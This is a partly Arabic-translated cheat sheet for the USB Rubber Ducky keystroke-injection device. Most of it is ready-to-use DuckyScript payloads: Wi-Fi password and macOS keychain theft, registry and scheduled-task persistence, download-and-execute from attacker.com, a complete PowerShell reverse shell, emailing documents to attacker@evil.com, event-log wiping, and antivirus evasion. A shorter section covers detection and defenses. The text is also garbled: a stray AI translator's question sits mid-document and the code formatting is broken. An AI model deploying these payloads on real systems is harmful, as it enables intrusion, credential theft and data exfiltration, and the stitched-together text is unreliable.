أداة حقن ضربات المفاتيح USB Rubber Ducky
نظرة عامة
USB Rubber Ducky هي أداة حقن ضربات مفاتيح متنكرة في شكل محرك فلاش عادي. تم إنشاؤها بواسطة Hak5، وتظهر كلوحة مفاتيح للكمبيوتر المستهدف ويمكنها تنفيذ سلاسل ضربات مفاتيح مبرمجة مسبقًا بسرعات فائقة للإنسان. يتم استخدامها عادةً للاختبار الاختراقي وتقييمات الهندسة الاجتماعية وعروض الأمن.
⚠️ تحذير: هذه الأداة مخصصة للاختبار الاختراقي المصرح به وتقييمات الأمن فقط. تأكد من وجود تفويض مناسب قبل الاستخدام في أي بيئة.
نظرة عامة على الأجهزة
مواصفات USB Rubber Ducky
- المعالج: معالج 32 بت بسرعة 60 ميجاهرتز
- التخزين: بطاقة MicroSD (حتى 32 جيجابايت)
- الواجهة: USB 2.0
- السرعة: معدل حقن 1000 كلمة في الدقيقة
- التوافق: Windows، Mac، Linux، Android
- الطاقة: تغذية من خلال USB
المكونات المطلوبة
- جهاز USB Rubber Ducky
- بطاقة MicroSD (منسقة بنظام FAT أو FAT32)
- كمبيوتر متصل بالإنترنت لتطوير الحمولة
- كمبيوتر مستهدف به منفذ USB
Would you like me to continue translating the remaining sections? The translation follows the same principles you specified: preserving markdown, keeping technical terms in English, and maintaining the original structure.```bash
Format MicroSD card
Windows: Use Disk Management or format command
format F: /FS:FAT32 /Q
Linux: Use fdisk and mkfs
sudo fdisk /dev/sdX sudo mkfs.fat -F32 /dev/sdX1
macOS: Use Disk Utility or diskutil
diskutil eraseDisk FAT32 DUCKY /dev/diskX
### Firmware Updates
```bash
# Download latest firmware from Hak5
# Flash firmware using DFU mode
# Hold button while plugging in to enter DFU mode
# Linux firmware flashing
sudo dfu-util -D firmware.bin
# Windows firmware flashing (use Hak5 Flash tool)
# Follow Hak5 documentation for firmware updates
File Structure
MicroSD Card Structure:
├── inject.bin (compiled payload)
├── config.txt (optional configuration)
└── payloads/ (source payload files)
DuckyScript Language
Basic Syntax
REM This is a comment
DELAY 1000
STRING Hello World
ENTER
Core Commands
| أمر | وصف | مثال |
|---|---|---|
REM | سطر التعليق | REM This is a comment |
DELAY | إيقاف مؤقت للتنفيذ (مللي ثانية) | DELAY 1000 |
STRING | أدخل سلسلة نصية | STRING Hello World |
ENTER | اضغط مفتاح Enter | ENTER |
TAB | اضغط مفتاح Tab | TAB |
ESCAPE | اضغط مفتاح Escape | ESCAPE |
SPACE | اضغط مفتاح المسافة | SPACE |
REPEAT | كرر الأمر السابق | REPEAT 5 |
Modifier Keys
| أمر | وصف |
|---|---|
CTRL or CONTROL | مفتاح التحكم |
ALT | مفتاح Alt |
SHIFT | مفتاح Shift |
GUI or WINDOWS | مفتاح Windows/Cmd |
MENU or APP | مفتاح القائمة/التطبيق |
Key Combinations
REM Ctrl+C (Copy)
CTRL c
REM Ctrl+Alt+Delete
CTRL ALT DELETE
REM Windows+R (Run dialog)
GUI r
REM Alt+Tab (Switch windows)
ALT TAB
REM Ctrl+Shift+Esc (Task Manager)
CTRL SHIFT ESCAPE
Payload Development
Basic Payload Structure
REM Author: Security Tester
REM Description: Basic Windows enumeration
REM Target: Windows 10/11
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING whoami && hostname && ipconfig
ENTER
DELAY 2000
STRING exit
ENTER
Windows Payloads
System Information Gathering
REM Windows System Information
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-ComputerInfo|Out-File C:\temp\sysinfo.txt
ENTER
DELAY 2000
STRING Get-Process|Out-File C:\temp\processes.txt -Append
ENTER
DELAY 2000
STRING Get-Service|Out-File C:\temp\services.txt -Append
ENTER
DELAY 2000
STRING exit
ENTER
Network Reconnaissance
REM Network Information Gathering
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING ipconfig /all > C:\temp\network.txt
ENTER
DELAY 1000
STRING netstat -an >> C:\temp\network.txt
ENTER
DELAY 1000
STRING arp -a >> C:\temp\network.txt
ENTER
DELAY 1000
STRING route print >> C:\temp\network.txt
ENTER
DELAY 1000
STRING exit
ENTER
Credential Harvesting
REM WiFi Password Extraction
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING netsh wlan show profiles
ENTER
DELAY 2000
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j|findstr -i -v echo|netsh wlan show profiles %j key=clear
ENTER
DELAY 5000
STRING exit
ENTER
Persistence Mechanisms
REM Registry Persistence
DELAY 2000
GUI r
DELAY 500
STRING regedit
ENTER
DELAY 2000
CTRL f
DELAY 500
STRING HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
ENTER
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\calc.exe"
ENTER
DELAY 1000
STRING exit
ENTER
macOS Payloads
System Information
REM macOS System Information
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING system_profiler SPHardwareDataType > ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING ps aux >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING netstat -an >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING exit
ENTER
Keychain Access
REM macOS Keychain Dump
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING security dump-keychain -d login.keychain > ~/Desktop/keychain.txt 2>&1
ENTER
DELAY 5000
STRING exit
ENTER
Linux Payloads
System Enumeration
REM Linux System Enumeration
DELAY 2000
CTRL ALT t
DELAY 1000
STRING uname -a > /tmp/sysinfo.txt
ENTER
DELAY 500
STRING cat /etc/passwd >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING ps aux >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING netstat -tulpn >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING exit
ENTER
Privilege Escalation Check
REM Linux Privilege Escalation Check
DELAY 2000
CTRL ALT t
DELAY 1000
STRING sudo -l > /tmp/privesc.txt
ENTER
DELAY 1000
STRING find / -perm -4000 2>/dev/null >> /tmp/privesc.txt
ENTER
DELAY 2000
STRING crontab -l >> /tmp/privesc.txt
ENTER
DELAY 1000
STRING exit
ENTER
Advanced Payloads
Multi-Stage Payloads
REM Multi-stage payload with download
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass
ENTER
DELAY 1000
STRING IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.ps1')
ENTER
DELAY 5000
STRING exit
ENTER
Reverse Shell Payload
REM PowerShell Reverse Shell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%\\\\{0\\\\};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)\\\\{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1|Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()\\\\};$client.Close()
ENTER
Data Exfiltration
REM Data Exfiltration via Email
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $files = Get-ChildItem C:\Users\$env:USERNAME\Documents -Recurse -Include *.txt,*.doc,*.pdf|Select-Object -First 10
ENTER
DELAY 1000
STRING foreach($file in $files) \\\\{ $content = Get-Content $file.FullName -Raw; Send-MailMessage -To "attacker@evil.com" -From "victim@company.com" -Subject $file.Name -Body $content -SmtpServer "smtp.company.com" \\\\}
ENTER
DELAY 5000
STRING exit
ENTER
Anti-Forensics
REM Clear Event Logs
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-EventLog -List|ForEach-Object \\\\{ Clear-EventLog $_.Log \\\\}
ENTER
DELAY 2000
STRING Remove-Item $env:TEMP\* -Recurse -Force
ENTER
DELAY 2000
STRING exit
ENTER
Payload Compilation
Using DuckEncoder
# Download DuckEncoder
git clone https://github.com/hak5darren/USB-Rubber-Ducky.git
cd USB-Rubber-Ducky
# Compile payload
java -jar Encoder/encoder.jar -i payload.txt -o inject.bin
# Alternative online encoder
# Visit: https://ducktoolkit.com/encoder
Using Duck Toolkit
# Online compilation at ducktoolkit.com
# 1. Paste DuckyScript code
# 2. Select keyboard layout
# 3. Click "Encode Payload"
# 4. Download inject.bin file
Keyboard Layouts
# Common keyboard layouts
us # US English
uk # UK English
de # German
fr # French
es # Spanish
it # Italian
pt # Portuguese
ru # Russian
Deployment Strategies
Physical Access Scenarios
REM Quick deployment (30 seconds)
DELAY 2000
GUI r
DELAY 500
STRING cmd /c "powershell IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/payload')"
ENTER
Social Engineering Integration
REM Disguised as software update
DELAY 3000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Dear User,
ENTER
STRING
ENTER
STRING A critical security update is being installed.
ENTER
STRING Please do not remove this device until complete.
ENTER
STRING
ENTER
STRING Estimated time: 2-3 minutes
ENTER
DELAY 2000
ALT F4
DELAY 500
REM Execute actual payload here
Persistence Payloads
REM Scheduled Task Persistence
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING schtasks /create /tn "SecurityUpdate" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\update.ps1" /sc daily /st 09:00
ENTER
DELAY 1000
STRING exit
ENTER
Evasion Techniques
Anti-Virus Evasion
REM Obfuscated PowerShell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -EncodedCommand <base64_encoded_command>
ENTER
Timing-Based Evasion
REM Random delays to avoid detection
DELAY 3000
GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1200
STRING echo "Normal user activity"
ENTER
DELAY 2500
REM Execute payload with human-like timing
Process Hiding
REM Hide PowerShell window
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -NoProfile -NonInteractive
ENTER
DELAY 1000
STRING Start-Process powershell -ArgumentList "-WindowStyle Hidden -Command 'Your-Command-Here'" -WindowStyle Hidden
ENTER
Defensive Measures and Detection
USB Device Monitoring
# Monitor USB device insertions
Get-WinEvent -FilterHashtable @\\\\{LogName='System'; ID=20001,20003\\\\}|
Where-Object \\\\{$_.Message -like "*USB*"\\\\}
# Registry monitoring for USB devices
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\*"|
Select-Object FriendlyName, Mfg, Service
Keystroke Injection Detection
# Monitor for rapid keystroke patterns
# Look for superhuman typing speeds in logs
Get-WinEvent -FilterHashtable @\\\\{LogName='Security'; ID=4648,4624\\\\}|
Where-Object \\\\{$_.TimeCreated -gt (Get-Date).AddMinutes(-5)\\\\}
# Monitor for suspicious command patterns
Get-WinEvent -FilterHashtable @\\\\{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104\\\\}|
Where-Object \\\\{$_.Message -like "*DownloadString*" -or $_.Message -like "*IEX*"\\\\}
USB Port Restrictions
REM Disable USB storage devices via Group Policy
REM Computer Configuration > Administrative Templates > System > Removable Storage Access
REM Registry method to disable USB storage
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
Countermeasures
Endpoint Protection
# Enable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
# Enable command line auditing
auditpol /set /subcategory:"Process Creation" /success:enable
# Monitor for suspicious processes
Get-Process|Where-Object \\\\{$_.ProcessName -like "*powershell*" -and $_.MainWindowTitle -eq ""\\\\}
Network Monitoring
# Monitor for suspicious network connections
netstat -an|grep ESTABLISHED|grep -E "(4444|8080|443)"
# DNS monitoring for suspicious domains
# Monitor DNS logs for newly registered domains or suspicious TLDs
User Education
Key indicators of USB Rubber Ducky attacks:
1. Unexpected keyboard activity
2. Rapid text entry beyond human capability
3. Command prompts appearing automatically
4. Suspicious network activity after USB insertion
5. New scheduled tasks or startup programs
Advanced Techniques
Payload Chaining
REM Stage 1: Initial access
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Invoke-WebRequest -Uri "http://attacker.com/stage2.txt" -OutFile "$env:TEMP\s2.txt"
ENTER
DELAY 3000
STRING Get-Content "$env:TEMP\s2.txt"|Invoke-Expression
ENTER
DELAY 1000
STRING exit
ENTER
Environment Detection
REM Detect virtualized environment
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ((Get-WmiObject -Class Win32_ComputerSystem).Model -notlike "*Virtual*") \\\\{ Your-Payload-Here \\\\}
ENTER
DELAY 2000
STRING exit
ENTER
Conditional Execution
REM Execute only on specific OS version
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ([Environment]::OSVersion.Version.Major -eq 10) \\\\{ Your-Windows10-Payload \\\\}
ENTER
DELAY 2000
STRING exit
ENTER
Troubleshooting
Common Issues
Issue: Payload not executing
Solution: Check keyboard layout, verify inject.bin file
Issue: Commands typing incorrectly
Solution: Verify keyboard layout matches target system
Issue: Timing issues
Solution: Increase DELAY values for slower systems
Issue: Antivirus detection
Solution: Use obfuscation techniques, test on similar AV
```### تصحيح الحموضات
```bash
REM Debug payload with visible output
DELAY 2000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Payload executed successfully
ENTER
STRING Current user:
STRING %USERNAME%
ENTER
STRING Current time:
STRING %TIME%
ENTER
```### بيئة الاختبار
```bash
# Set up isolated testing environment
# Use virtual machines for payload development
# Test on multiple OS versions and configurations
# Verify payload behavior before deployment
```## اعتبارات قانونية وأخلاقية
### الاستخدام المصرح به فقط
- الحصول على إذن كتابي قبل الاختبار
- الاستخدام في البيئات المحكومة فقط
- توثيق جميع أنشطة الاختبار
- اتباع ممارسات الإفصاح المسؤول
### متطلبات الامتثال
- التأكد من الامتثال للقوانين المحلية
- اتباع سياسات الأمن التنظيمية
- الحفاظ على سلسلة العهدة للأدلة
- حماية المعلومات الحساسة المكتشفة
## الموارد
- [Hak5 USB Rubber Ducky](https://hak5.org/products/usb-rubber-ducky-deluxe)
- [توثيق DuckyScript](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript)
- [Duck Toolkit](https://ducktoolkit.com/)
- [مستودع الحموضات](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)
- [منتديات Hak5](https://forums.hak5.org/)
---
*يوفر هذا الدليل المرجعي مرجعًا شاملًا لاستخدام USB Rubber Ducky. تأكد دائمًا من وجود تفويض مناسب قبل إجراء تقييمات الأمن المادي.*